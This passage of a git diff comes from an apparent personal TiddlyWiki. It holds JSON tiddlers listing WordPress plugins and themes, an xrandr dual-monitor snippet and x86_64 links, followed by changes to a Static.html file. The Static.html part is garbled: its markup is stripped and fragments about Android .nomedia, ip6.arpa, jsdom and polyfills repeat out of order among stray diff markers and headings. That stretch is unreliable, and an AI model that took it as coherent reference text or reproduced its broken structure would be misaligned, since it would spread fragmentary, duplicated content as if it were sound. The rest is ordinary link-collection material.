--- \u003C\u003C[# Git\"https://github.com/automattic/wordpress-activitypub\">>\n* \u003C\u003Clwplug press-this \"Press This\">> (once part of WP, now an official plugin) --- //Posting images, links, and cat gifs will never be the same.// --- \u003C\u003C[# Support\"https://wordpress.com/support/press-this/\">> \u003C\u003C[# Codex\"https://codex.wordpress.org/Press_This\">>\n** [[Creating Quick Blog Posts with Press This|https://make.wordpress.org/support/user-manual/posts/creating-quick-blog-posts-with-press-this/]]\n* \u003C\u003Clwplug writing-on-github \"Writing On GitHub\">> --- //A WordPress plugin to allow you writing on GitHub (or Jekyll site)//, and vice-versa --- \u003C\u003C[# Git\"https://github.com/litefeel/writing-on-github\">>\n* \u003C\u003Clwplug url-params \"URL Params\">> --- allows you to access URL parameters in the Query String of the URL via shortcodes\n\n!!! Themes\n\n* [[BSoJ|https://wordpress.org/themes/bsoj/]] //(Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death//\n* [[Stewart|https://wordpress.org/themes/stewart/]] is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.\n* [[Tomoni|https://wordpress.org/themes/tomoni/]] is a //theme that displays a use case of multilingual content with Japanese//, with many color palettes\n"}, +{"title":"WordPress","created":"20230206192842398","creator":"Octt","modified":"20240119172421330","modifier":"Octt","tags":"Web PHP CMS","text":"\\define lwplug(slug, title) [[$title$|https://wordpress.org/plugins/$slug$]]\n\n* \u003C\u003ChttpsL WordPress.com>> --- Corporate site and home page of the SaaS service\n* \u003C\u003ChttpsL WordPress.org>> --- Home page of the open source project\n** [[WordPress Developer Resources|https://developer.wordpress.org]] --- Development resources, guides, references\n** //''[[WordPress Codex|https://codex.wordpress.org/]]'', the online manual for WordPress and a living repository for WordPress information and documentation.//\n\n\u003C\u003C^wikipediaframe WordPress en>>\n\n* [[Stupid WordPress Tricks|https://perishablepress.com/stupid-wordpress-tricks]] (with PHP)\n* [[How to Add Code to WordPress Header and Footer|https://kinsta.com/knowledgebase/add-code-wordpress-header-footer/]]\n\n* [[Wordpress API json, how to get prev and next posts in single post?|https://stackoverflow.com/questions/42546957/wordpress-api-json-how-to-get-prev-and-next-posts-in-single-post/70410781#70410781]] --- not explicitly possible, but achievable for ordering by date, by using exclude of a pivot post id, order asc/desc, and using query after/before a certain date edge\n\n* [[WP Database Description|https://codex.wordpress.org/Database_Description]] --- //outline and description of the database tables created during the standard installation//\n\n* [[WordPress Plugins SVN Mirror|http://web.archive.org/web/20200805015358/http://www.pluginmirror.com/]] (apparently website is dead?) --- //Say hello to fully automated GitHub mirrors of every plugin in the WordPress.org plugin repository.// --- \u003C\u003C[# Git\"https://github.com/wp-plugins\">>\n\n!!! Plugins\n\n* \u003C\u003Clwplug activitypub ActivityPub>> --- //Enter the fediverse with ActivityPub, broadcasting your blog to a wider audience!// --- \u003C\u003C[# Git\"https://github.com/automattic/wordpress-activitypub\">>\n* \u003C\u003Clwplug press-this \"Press This\">> (once part of WP, now an official plugin) --- //Posting images, links, and cat gifs will never be the same.// --- \u003C\u003C[# Support\"https://wordpress.com/support/press-this/\">> \u003C\u003C[# Codex\"https://codex.wordpress.org/Press_This\">>\n** [[Creating Quick Blog Posts with Press This|https://make.wordpress.org/support/user-manual/posts/creating-quick-blog-posts-with-press-this/]]\n* \u003C\u003Clwplug writing-on-github \"Writing On GitHub\">> --- //A WordPress plugin to allow you writing on GitHub (or Jekyll site)//, and vice-versa --- \u003C\u003C[# Git\"https://github.com/litefeel/writing-on-github\">>\n* \u003C\u003Clwplug url-params \"URL Params\">> --- allows you to access URL parameters in the Query String of the URL via shortcodes\n\n!!! Themes\n\n* [[BSoJ|https://wordpress.org/themes/bsoj/]] //(Blue Screen of Joy) is a blog theme inspired by the infamous Blue Screen of Death//\n* [[Stewart|https://wordpress.org/themes/stewart/]] is a modern blogging theme with a left sidebar. Its default color scheme is a striking combination of orange and light gray, to give your blog a sophisticated appearance from day one.\n* [[Tomoni|https://wordpress.org/themes/tomoni/]] is a //theme that displays a use case of multilingual content with Japanese//, with many color palettes\n"}, {"title":"X11/Snippets","created":"20220920144224759","modified":"20230206111552465","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Multi-Screen Fixes\n\n!!! LG Flatron W1943SS (R) + TV Toshiba (L)\n\n```sh\nxrandr --output DVI-D-0 --addmode DVI-D-0 1920x1080\nxrandr --output DVI-D-0 --mode 1920x1080 -r 60.00\nxrandr --output DVI-D-0 --left-of HDMI-A-0\n```"}, {"title":"x86_64","created":"20231027105227448","creator":"Octt","modified":"20231027105633633","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe x86_64>>\n\n* \u003C\u003Clinkdesc \"x86-64 Simplified\"\"https://treeniks.github.io/x86-64-simplified\" \"opinionated alternative Instruction Set Reference for the x86-64 Architecture to prioritize readability and simplicity over accuracy or completeness\">>"}, {"title":"XDA Developers:en","created":"20230202230631376","creator":"Octt","modified":"20230206111552467","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003CMediaWiki XDA_Developers en 3>>"}, diff --git a/Static.html b/Static.html index 615505d8..7f02f2b7 100644 --- a/Static.html +++ b/Static.html @@ -4812,7 +4812,7 @@
Note: some resources that are related to Android but also closely Java may be included under the Java section.
.nomedia
is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such./sdcard
and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not — also see on Reddit[#]
+
Note: some resources that are related to Android but also closely Java may be included under the Java section.
.nomedia
is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such./sdcard
and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not — also see on Reddit[#]
Development
QR Code
Development
(Specific Web resources are under Web.)
0.0.0.0.[...].ip6.arpa
) — ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.(Specific Web resources are under Web.)
0.0.0.0.[...].ip6.arpa
) — ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.Note: some are still in Web/Development
jsdom
: JavaScript implementation of various web standards, for use with Node.js — [Git]try { ... } catch(err) { console.log(err.response.data.message) }
These are for adding newer APIs to older browsers when making a webapp that uses them.
Note: some are still in Web/Development
jsdom
: JavaScript implementation of various web standards, for use with Node.js — [Git]try { ... } catch(err) { console.log(err.response.data.message) }
These are for adding newer APIs to older browsers when making a webapp that uses them.
Discussions that -
Note: some resources that are related to Android but also closely Java may be included under the Java section.
.nomedia
is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such./sdcard
and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not — also see on Reddit[#]
+
Note: some resources that are related to Android but also closely Java may be included under the Java section.
.nomedia
is used to hide the media content of the directory (and subdirectories) it's placed in from gallery apps and such./sdcard
and not in a proper cache directory? other people say it's used by the Android system in general, don't know if they have a Samsung ROM or not — also see on Reddit(Specific Web resources are under Web.) (Specific Web resources are under Web.) Note: some are still in Web/Development These are for adding newer APIs to older browsers when making a webapp that uses them. Note: some are still in Web/Development These are for adding newer APIs to older browsers when making a webapp that uses them.[#]
-
-
QR Code
-
-
0.0.0.0.[...].ip6.arpa
) — ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.Tools
0.0.0.0.[...].ip6.arpa
) — ip6.arpa is a special domain name used to achieve reverse delegation for IPv6 addresses.Tools
-
Single-purpose
jsdom
: JavaScript implementation of various web standards, for use with Node.js — [Git]try { ... } catch(err) { console.log(err.response.data.message) }
Do-all
Polyfills
Single-purpose
jsdom
: JavaScript implementation of various web standards, for use with Node.js — [Git]try { ... } catch(err) { console.log(err.response.data.message) }
Do-all
Polyfills
-
-
News
News